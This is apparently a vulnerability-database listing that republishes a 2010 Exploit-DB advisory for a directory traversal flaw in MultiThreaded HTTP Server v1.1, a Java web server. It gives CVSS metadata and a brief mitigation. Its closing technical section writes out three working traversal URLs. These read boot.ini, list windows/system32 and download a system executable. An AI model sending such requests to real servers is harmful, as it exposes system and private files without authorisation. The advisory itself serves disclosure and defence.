MultiThreaded HTTP Server v1.1 Directory Traversal

vendor:

HTTP Project

by:

Dr_IDE

7,5

CVSS

HIGH

Directory Traversal

CWE

Product Name: HTTP Project

Affected Version From: 1.1

Affected Version To: 1.1

Patch Exists: NO

Related CWE: N/A

CPE: a:http_project:http_project:1.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7

2010

MultiThreaded HTTP Server v1.1 Directory Traversal

MultiThreaded HTTP Server v1.1 is a Java based HTTP server. This is the latest version of the application available. MultiThreaded HTTP Server is vulnerable to remote directory traversal attacks.

Mitigation:

Ensure that user input is properly sanitized and validated to prevent directory traversal attacks.

Source

Exploit-DB raw data:

###################################################################
#
# Exploit Title: MultiThreaded HTTP Server v1.1 Directory Traversal
# Found By:	Dr_IDE
# Date: 	Apr. 20, 2010
# Download:	http://voxel.dl.sourceforge.net/project/http/version1.1/%5BUnnamed%20release%5D/HTTPProject_fat.jar
# Tested on:	Windows 7
#
###################################################################

- Description -

MultiThreaded HTTP Server v1.1 is a Java based HTTP server. This is the latest
version of the application available.

MultiThreaded HTTP Server is vulnerable to remote directory traversal attacks. 

- Technical Details -
http://[ webserver IP][:port]/[?]../../../../../boot.ini	 		[File Access]
http://[ webserver IP][:port]/[?]../../../../../windows/system32 		[Full Directory Listing]
http://[ webserver IP][:port]/[?]../../../../../windows/system32/calc.exe	[File Download]